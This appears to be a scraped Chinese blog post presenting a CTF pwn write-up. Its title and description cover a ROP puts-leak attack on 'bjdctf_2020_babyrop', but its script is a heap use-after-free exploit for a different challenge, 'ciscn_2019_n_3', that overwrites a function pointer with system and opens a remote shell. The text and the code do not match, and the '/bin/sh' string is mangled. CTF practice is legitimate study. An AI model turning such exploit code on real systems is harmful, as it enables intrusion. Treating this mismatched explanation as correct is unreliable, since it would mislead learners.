zoukankan      html  css  js  c++  java
  • bjdctf_2020_babyrop

    exp 脚本

      有 puts 函数,有栈溢出,第一次栈溢出 rop 用 puts 泄露 got 表,回到漏洞函数再次栈溢出 rop 执行 system('/bin/sh')

    from pwn_debug import *
    
    context.log_level = 'debug'
    pdbg = pwn_debug('ciscn_2019_n_3')
    
    pdbg.remote('node3.buuoj.cn',27772)
    pdbg.debug('2.27')
    p=pdbg.run('remote')
    
    elf = ELF('ciscn_2019_n_3')
    
    def newnote(idx,type,value,length=0):
    	p.recvuntil('CNote > ')
    	p.sendline(str(1))
    	p.recvuntil('Index > ')
    	p.sendline(str(idx))
    	p.recvuntil('Type > ')
    	p.sendline(str(type))
    	if type == 1:
    		p.recvuntil('Value > ')
    		p.sendline(str(value))
    	else:
    		p.recvuntil('Length > ')
    		p.sendline(str(length))
    		p.recvuntil('Value > ')
    		if length == 8:
    			p.send(value)
    		else:
    			p.sendline(value)
    
    def delnote(idx):
    	p.recvuntil('CNote > ')
    	p.sendline(str(2))
    	p.recvuntil('Index > ')
    	p.sendline(str(idx))
    
    newnote(0,2,'a'*10,0x88)
    newnote(1,2,'a'*10,0x38)
    newnote(2,1,0x41)
    
    #gdb.attach(p)
    
    delnote(1)
    delnote(2)
    newnote(3,2,'aaaa' +p32(elf.plt['system']),0xc)
    newnote(4,2,'/bin/shx00',0x38)
    delnote(1)
    #gdb.attach(p)
    
    p.interactive()
    
    

  • 相关阅读:
    毕业设计-1.11
    毕业设计-1.10
    毕业设计-1.09
    毕业设计-1.08
    毕业设计-1.07
    [工具]Maven的安装和配置【MyEclipse】
    毕业设计-1.06
    tomcat部署项目时省略项目名
    Jenkins实现iOS项目自动化打包(含踩坑记录)
    钉钉小程序封装网络请求
  • 原文地址:https://www.cnblogs.com/luoleqi/p/12382799.html
Copyright © 2011-2022 走看看